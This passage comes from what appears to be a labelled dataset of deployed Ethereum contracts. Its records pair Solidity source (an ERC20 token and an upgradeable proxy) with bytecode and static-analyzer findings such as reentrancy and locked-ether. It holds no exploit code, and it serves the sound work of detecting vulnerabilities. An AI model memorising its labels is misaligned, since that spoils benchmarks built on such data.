5250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220743264cb425df392f9eecfc44aaef64d1c7c03da907306de1c26d34ffd5867e464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,809
0x0c9920276702e0e24835dbb5e57dd845aca30e84
pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpauseunpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Frozenable Token * @dev Illegal address that can be frozened. */ contract FrozenableToken is Ownable { mapping (address => bool) public frozenAccount; event FrozenFunds(address indexed to, bool frozen); modifier whenNotFrozen(address _who) { require(!frozenAccount[msg.sender] && !frozenAccount[_who]); _; } function freezeAccount(address _to, bool _freeze) public onlyOwner { require(_to != address(0)); frozenAccount[_to] = _freeze; emit FrozenFunds(_to, _freeze); } } /** * @title KM2.0 Token * @dev km community token. * @author km2.0 */ contract KM2Token is PausableToken, FrozenableToken { string public name = "KinMall 2.0"; string public symbol = "KM2"; uint256 public decimals = 18; uint256 INITIAL_SUPPLY = 10000000 * (10 ** uint256(decimals)); /** * @dev Initializes the total release */ constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, totalSupply_); } /** * if ether is sent to this address, send it back. */ function() public payable { revert(); } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public whenNotFrozen(_to) returns (bool) { return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public whenNotFrozen(_from) returns (bool) { return super.transferFrom(_from, _to, _value); } }
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461019157806318160ddd146101f657806323b872dd14610221578063313ce567146102a65780633f4ba83a146102d15780635c975abb146102e8578063661884631461031757806370a082311461037c5780638456cb59146103d35780638da5cb5b146103ea57806395d89b4114610441578063a9059cbb146104d1578063b414d4b614610536578063d73dd62314610591578063dd62ed3e146105f6578063e724529c1461066d578063f2fde38b146106bc575b600080fd5b34801561010d57600080fd5b506101166106ff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015657808201518184015260208101905061013b565b50505050905090810190601f1680156101835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019d57600080fd5b506101dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b604051808215151515815260200191505060405180910390f35b34801561020257600080fd5b5061020b6107cd565b6040518082815260200191505060405180910390f35b34801561022d57600080fd5b5061028c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107d7565b604051808215151515815260200191505060405180910390f35b3480156102b257600080fd5b506102bb61089e565b6040518082815260200191505060405180910390f35b3480156102dd57600080fd5b506102e66108a4565b005b3480156102f457600080fd5b506102fd610964565b604051808215151515815260200191505060405180910390f35b34801561032357600080fd5b50610362600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610977565b604051808215151515815260200191505060405180910390f35b34801561038857600080fd5b506103bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a7565b6040518082815260200191505060405180910390f35b3480156103df57600080fd5b506103e86109ef565b005b3480156103f657600080fd5b506103ff610ab0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561044d57600080fd5b50610456610ad6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561049657808201518184015260208101905061047b565b50505050905090810190601f1680156104c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104dd57600080fd5b5061051c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b74565b604051808215151515815260200191505060405180910390f35b34801561054257600080fd5b50610577600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c39565b604051808215151515815260200191505060405180910390f35b34801561059d57600080fd5b506105dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c59565b604051808215151515815260200191505060405180910390f35b34801561060257600080fd5b50610657600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c89565b6040518082815260200191505060405180910390f35b34801561067957600080fd5b506106ba600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610d10565b005b3480156106c857600080fd5b506106fd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e55565b005b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107955780601f1061076a57610100808354040283529160200191610795565b820191906000526020600020905b81548152906001019060200180831161077857829003601f168201915b505050505081565b6000600360149054906101000a900460ff161515156107bb57600080fd5b6107c58383610ebd565b905092915050565b6000600154905090565b600083600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561087e5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b151561088957600080fd5b610894858585611044565b9150509392505050565b60075481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561090057600080fd5b600360149054906101000a900460ff16151561091b57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff1615151561099557600080fd5b61099f8383611076565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a4b57600080fd5b600360149054906101000a900460ff16151515610a6757600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b6c5780601f10610b4157610100808354040283529160200191610b6c565b820191906000526020600020905b815481529060010190602001808311610b4f57829003601f168201915b505050505081565b600082600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610c1b5750600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1515610c2657600080fd5b610c308484611307565b91505092915050565b60046020528060005260406000206000915054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610c7757600080fd5b610c818383611337565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d6c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610da857600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a582604051808215151515815260200191505060405180910390a25050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eb157600080fd5b610eba81611533565b50565b600080821480610f4957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610f5457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600360149054906101000a900460ff1615151561106257600080fd5b61106d84848461162f565b90509392505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611187576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061121b565b61119a83826119e990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600360149054906101000a900460ff1615151561132557600080fd5b61132f8383611a02565b905092915050565b60006113c882600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561156f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b957600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561174457600080fd5b611795826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611828826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118f982600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e990919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008282111515156119f757fe5b818303905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a3f57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a8c57600080fd5b611add826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119e990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b70826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008183019050828110151515611c3457fe5b809050929150505600a165627a7a7230582010a45a7719a70b0c65c6130bc1790f123d61c46f636b53f0235ddeb6772b814b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
4,810
0xD054C6481Da9d74BD34a4bE14ebD3d812595a520
// SPDX-License-Identifier: MIT pragma solidity ^0.5.16; contract ArcProxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ /* solium-disable-next-line */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor( address _logic, address _admin, bytes memory _data ) public payable { assert( IMPLEMENTATION_SLOT == bytes32( uint256(keccak256("eip1967.proxy.implementation")) - 1 ) ); _setImplementation(_logic); if (_data.length > 0) { /* solium-disable-next-line */ (bool success,) = _logic.delegatecall(_data); /* solium-disable-next-line */ require(success); } assert( ADMIN_SLOT == bytes32( uint256(keccak256("eip1967.proxy.admin")) - 1 ) ); _setAdmin(_admin); } /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () external payable { _fallback(); } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _delegate(_implementation()); } /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { /* solium-disable-next-line */ assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. /* solium-disable-next-line */ assembly { size := extcodesize(account) } return size > 0; } /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require( isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newImplementation) } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall( address newImplementation, bytes calldata data ) external payable ifAdmin { _upgradeTo(newImplementation); /* solium-disable-next-line */ (bool success,) = newImplementation.delegatecall(data); /* solium-disable-next-line */ require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; /* solium-disable-next-line */ assembly { sstore(slot, newAdmin) } } }
0x60806040526004361061004a5760003560e01c80633659cfe6146100545780634f1ef286146100875780635c60da1b146101075780638f28397014610138578063f851a4401461016b575b610052610180565b005b34801561006057600080fd5b506100526004803603602081101561007757600080fd5b50356001600160a01b0316610192565b6100526004803603604081101561009d57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100c857600080fd5b8201836020820111156100da57600080fd5b803590602001918460018302840111640100000000831117156100fc57600080fd5b5090925090506101cc565b34801561011357600080fd5b5061011c610279565b604080516001600160a01b039092168252519081900360200190f35b34801561014457600080fd5b506100526004803603602081101561015b57600080fd5b50356001600160a01b03166102b6565b34801561017757600080fd5b5061011c610370565b61019061018b61039b565b6103c0565b565b61019a6103e4565b6001600160a01b0316336001600160a01b031614156101c1576101bc81610409565b6101c9565b6101c9610180565b50565b6101d46103e4565b6001600160a01b0316336001600160a01b0316141561026c576101f683610409565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610253576040519150601f19603f3d011682016040523d82523d6000602084013e610258565b606091505b505090508061026657600080fd5b50610274565b610274610180565b505050565b60006102836103e4565b6001600160a01b0316336001600160a01b031614156102ab576102a461039b565b90506102b3565b6102b3610180565b90565b6102be6103e4565b6001600160a01b0316336001600160a01b031614156101c1576001600160a01b03811661031c5760405162461bcd60e51b81526004018080602001828103825260368152602001806104dc6036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f